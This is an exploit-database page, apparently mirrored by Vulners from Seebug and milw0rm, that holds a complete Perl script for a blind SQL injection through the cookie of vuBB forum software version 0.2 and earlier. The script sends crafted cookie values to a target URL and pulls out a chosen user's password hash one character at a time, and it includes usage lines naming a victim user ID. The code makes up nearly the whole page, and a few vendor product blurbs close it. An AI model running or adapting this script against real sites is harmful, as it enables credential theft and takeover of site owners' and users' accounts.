Lucene search
K

vuBB <= 0.2 (Cookie) Final Remote SQL Injection Exploit (mq=off)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 118 Views

vuBB 0.2 Remote SQL Injection Exploi

Code

                                                #!/usr/bin/perl 
print q{
----------------------------------------------------------------------

	vuBB &#60;=0.2 Final Remote SQL Injection (cookies) Exploit
	
		exploit discovered and coded by KingOfSKa
			
			https://contropotere.netsons.org

----------------------------------------------------------------------

};

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua-&#62;agent(&#34;Mosiac 1.0&#34; . $ua-&#62;agent);

if (!$ARGV[0]) {$ARGV[0] = &#39;&#39;;}
if (!$ARGV[1]) {$ARGV[1] = &#39;1&#39;;}

my $path = $ARGV[0] . &#39;/index.php&#39;;
my $user = $ARGV[1];   # userid to jack
my $uname = $ARGV[2];
my $answer = &#34;&#34;;
my @charset = (&#34;0&#34;,&#34;1&#34;,&#34;2&#34;,&#34;3&#34;,&#34;4&#34;,&#34;5&#34;,&#34;6&#34;,&#34;7&#34;,&#34;8&#34;,&#34;9&#34;,&#34;a&#34;,&#34;b&#34;,&#34;c&#34;,&#34;d&#34;,&#34;e&#34;,&#34;f&#34;);
if (!$ARGV[2])
{
        print q{
		Usage:
		
		perl vubb.pl FULL_URL_TO_VBB VICTIM_USER_ID USER_NICKNAME
		perl vubb.pl http://www.somesite.com/vubb 1 administrator
		
		};
exit();

}
print &#34;[URL:] $path\r\n&#34;;
print &#34;[USERID:] $user\r\n&#34;;
print &#34;[USERNAME:] $user\r\n&#34;;
print &#34;Starting connection...\r\n&#34;;

my $j = 0 ;
for( $i=1; $i &#60; 33; $i++ )
{
        for( $j=1; $j &#60; 17; $j++ )
        {
	
                $current = $charset[$j];
		
  my $sql = &#34;99%27+OR+(id%3d&#34;.$user.&#34;+AND+MID(pass,&#34;.$i.&#34;,1)%3d%27&#34;.$charset[$j].&#34;%27)/*&#34;; 
                my @cookie = (&#39;Cookie&#39; =&#62; &#34;user=kingofska; pass=$sql;&#34;);
                my $res = $ua-&#62;get($path, @cookie);

                $answer = $res-&#62;content;
		#print $answer; #Just for debugging...
		if ($answer =~/(.*)Welcome $uname(.*)/){$outputs.= $current; print &#34;$i/32 found...\r\n&#34;; }
	}

 
}


if ( length($outputs) &#60; 1 )   { print &#34;Not Exploitable!\r\n&#34;; exit;     }
print  &#34;User Hash is: $outputs \r\n&#34;;
exit;

# milw0rm.com [2006-03-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation